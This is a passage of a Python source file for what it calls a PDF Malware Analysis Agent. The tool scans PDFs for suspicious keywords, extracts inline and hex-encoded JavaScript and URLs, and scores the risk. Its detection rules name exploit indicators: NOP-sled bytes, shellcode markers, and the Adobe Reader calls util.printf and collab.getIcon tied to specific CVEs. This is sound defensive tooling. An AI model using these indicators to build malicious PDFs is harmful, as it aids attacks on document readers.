gen_num = int(match.group(2))
|
||||
stream_data = match.group(3)
|
||||
decoded = None
|
||||
try:
|
||||
decoded = zlib.decompress(stream_data)
|
||||
except zlib.error:
|
||||
pass
|
||||
streams.append({
|
||||
"object": f"{obj_num} {gen_num}",
|
||||
"raw_size": len(stream_data),
|
||||
"decoded_size": len(decoded) if decoded else 0,
|
||||
"decodable": decoded is not None,
|
||||
"preview": (decoded[:200] if decoded else stream_data[:200]).decode(
|
||||
"latin-1", errors="replace"),
|
||||
})
|
||||
return streams
|
||||
|
||||
|
||||
def extract_javascript(filepath):
|
||||
"""Extract JavaScript code from PDF objects."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
text = data.decode("latin-1", errors="replace")
|
||||
|
||||
js_blocks = []
|
||||
# Look for JavaScript in stream objects
|
||||
js_pattern = re.compile(r"/JS\s*\((.*?)\)", re.DOTALL)
|
||||
for match in js_pattern.finditer(text):
|
||||
js_blocks.append({"type": "inline", "code": match.group(1)[:500]})
|
||||
|
||||
# Look for JavaScript in hex-encoded strings
|
||||
hex_pattern = re.compile(r"/JS\s*<([0-9A-Fa-f]+)>")
|
||||
for match in hex_pattern.finditer(text):
|
||||
try:
|
||||
decoded = bytes.fromhex(match.group(1)).decode("utf-8", errors="replace")
|
||||
js_blocks.append({"type": "hex_encoded", "code": decoded[:500]})
|
||||
except ValueError:
|
||||
pass
|
||||
return js_blocks
|
||||
|
||||
|
||||
def extract_urls(filepath):
|
||||
"""Extract URLs from the PDF content."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
text = data.decode("latin-1", errors="replace")
|
||||
urls = list(set(re.findall(r"https?://[^\s<>\"')\]]+", text)))
|
||||
return urls
|
||||
|
||||
|
||||
def detect_exploits(keywords, streams):
|
||||
"""Check for known PDF exploit indicators."""
|
||||
exploits = []
|
||||
if "/JBIG2Decode" in keywords:
|
||||
exploits.append({
|
||||
"cve": "CVE-2009-0658",
|
||||
"description": "JBIG2 decoder vulnerability in Adobe Reader",
|
||||
"confidence": "MEDIUM",
|
||||
})
|
||||
for stream in streams:
|
||||
preview = stream.get("preview", "").lower()
|
||||
if "shellcode" in preview or "\\x90\\x90" in preview:
|
||||
exploits.append({
|
||||
"cve": "Generic shellcode",
|
||||
"description": "Potential shellcode detected in stream",
|
||||
"confidence": "HIGH",
|
||||
})
|
||||
if "util.printf" in preview or "collab.geticon" in preview:
|
||||
exploits.append({
|
||||
"cve": "CVE-2008-2992 / CVE-2009-0927",
|
||||
"description": "Known Adobe Reader JavaScript exploits",
|
||||
"confidence": "HIGH",
|
||||
})
|
||||
return exploits
|
||||
|
||||
|
||||
def calculate_risk_score(keywords, structure, exploits, js_blocks):
|
||||
"""Calculate a risk score for the PDF."""
|
||||
score = 0
|
||||
if "/JS" in keywords or "/JavaScript" in keywords:
|
||||
score += 30
|
||||
if "/OpenAction" in keywords or "/AA" in keywords:
|
||||
score += 20
|
||||
if "/Launch" in keywords:
|
||||
score += 25
|
||||
if "/EmbeddedFile" in keywords:
|
||||
score += 15
|
||||
if "/JBIG2Decode" in keywords:
|
||||
score += 20
|
||||
if structure.get("encrypted"):
|
||||
score += 10
|
||||
score += len(exploits) * 20
|
||||
score += len(js_blocks) * 10
|
||||
return min(score, 100)
|
||||
|
||||
|
||||
def generate_report(filepath, keywords, structure, streams, js_blocks,
|
||||
urls, exploits, risk_score):
|
||||
"""Generate PDF malware analysis report."""
|
||||
return {
|
||||
"file": filepath,
|
||||
"sha256": compute_hash(filepath),
|
||||
"size": os.path.getsize(filepath),
|
||||
"pdf_version": extract_pdf_version(filepath),
|
||||
"structure": structure,
|
||||
"suspicious_keywords": keywords,
|
||||
"streams": len(streams),
|
||||
"javascript_blocks": len(js_blocks),
|
||||
"urls_found": len(urls),
|
||||
"exploit_indicators": exploits,
|
||||
"risk_score": risk_score,
|
||||
"risk_level": "HIGH" if risk_score >= 60 else "MEDIUM" if risk_score >= 30 else "LOW",
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("PDF Malware Analysis Agent")
|
||||
print("Keyword scanning, JavaScript extraction, exploit detection")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if target and os.path.exists(target):
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
print(f"[*] SHA-256: {compute_hash(target)}")
|
||||
print(f"[*] PDF version: {extract_pdf_version(target)}")
|
||||
|
||||
print("\n--- Suspicious Keywords (pdfid-style) ---")
|
||||
keywords, structure = scan_pdf_keywords(target)
|
||||
for kw, info in keywords.items():
|
||||
print(f" [!] {kw}: {info['count']}x - {info['description']}")
|
||||
|
||||
print(f"\n--- Structure ---")
|
||||
for key, val in structure.items():
|
||||
print(f" {key}: {val}")
|
||||
|
||||
print("\n--- Stream Objects ---")
|
||||
streams = find_stream_objects(target)
|
||||
print(f" Found: {len(streams)} streams")
|
||||
|
||||
print("\n--- JavaScript Extraction ---")
|
||||
js = extract_javascript(target)
|
||||
for j in js:
|
||||
print(f" [{j['type']}] {j['code'][:100]}...")
|
||||
|
||||
print("\n--- URLs ---")
|
||||
urls = extract_urls(target)
|
||||
for u in urls[:10]:
|
||||
print(f" {u}")
|
||||
|
||||
print("\n--- Exploit Detection ---")
|
||||
exploits = detect_exploits(keywords, streams)
|
||||
for e in exploits:
|
||||
print(f" [{e['confidence']}] {e['cve']}: {e['description']}")
|
||||
|
||||
risk = calculate_risk_score(keywords, structure, exploits, js)
|
||||
print(f"\n[*] Risk Score: {risk}/100")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <document.pdf>")
|
||||
Reference in New Issue
Block a user